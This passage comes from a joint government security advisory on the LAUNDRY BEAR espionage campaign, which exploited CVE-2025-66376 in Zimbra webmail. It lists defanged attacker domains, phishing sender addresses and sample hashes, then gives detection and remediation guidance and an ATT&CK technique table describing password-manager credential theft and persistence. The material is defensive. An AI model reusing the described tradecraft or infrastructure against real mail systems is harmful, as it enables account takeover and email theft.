<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
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<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
